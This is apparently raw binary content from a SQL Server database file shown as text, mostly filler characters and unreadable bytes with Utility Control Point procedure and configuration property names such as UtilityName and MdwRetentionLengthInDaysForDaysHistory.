sp_sysutility_ucp_calculate_mi_file_space_health!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`"
2
J

0
	2	x$d~46p2H$`aJ MW=fRARBRDRERFRGRHRIRJRKRLRMRNRhQ|IQ}|2@@3@2@@3@2@@3@2@@3@2@@3@2@@3@2@@3@2@@3@2	@	@3	@jn1567PdW57PdQR\ju7PdQQQRQQQQQ
	R
Q
QQ
R
Q
QQQQRQQQQQRQQQRQQQRQQ Q! R!Q"!Q#!Q$!Q%Q&Q'Q('R(Q)(Q*)Q+*R+Q,+Q-+Q.+Q/+Q0+Q1]@]2'4;]E]U]_]iEjnb(bjn])zK)zWw!֣w!9K(9KW	c	]3
]B

'(C'N]?	'(C]Ͽ]{|7P[]£]4]mw;]N*	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$|`D(




d
H
,

xhL0\@lP4




p
T
8


				t	X	<	 		x\@$|`D(dH,hL0lP4pT8tX< x\@$|`
>G%
p#+UtilityName@4p+3MdwDatabaseName@4p19UtilityDescription@4p19UtilityDateCreated@4p-5UtilityCreatedBy@4pGMOverUtilizationTrailingWindow8pOUOverUtilizationOccurenceFrequency8pIOUnderUtilizationTrailingWindow8pQWUnderUtilizationOccurenceFrequency8Zp_eMdwRetentionLengthInDaysForMinutesHistory8p[aMdwRetentionLengthInDaysForHoursHistory8pY_MdwRetentionLengthInDaysForDaysHistory8np)?UtilityVersion@41.0.0.0!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z`!hi+

Z>G	,(^8!!!!`lH5c-)`
T>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!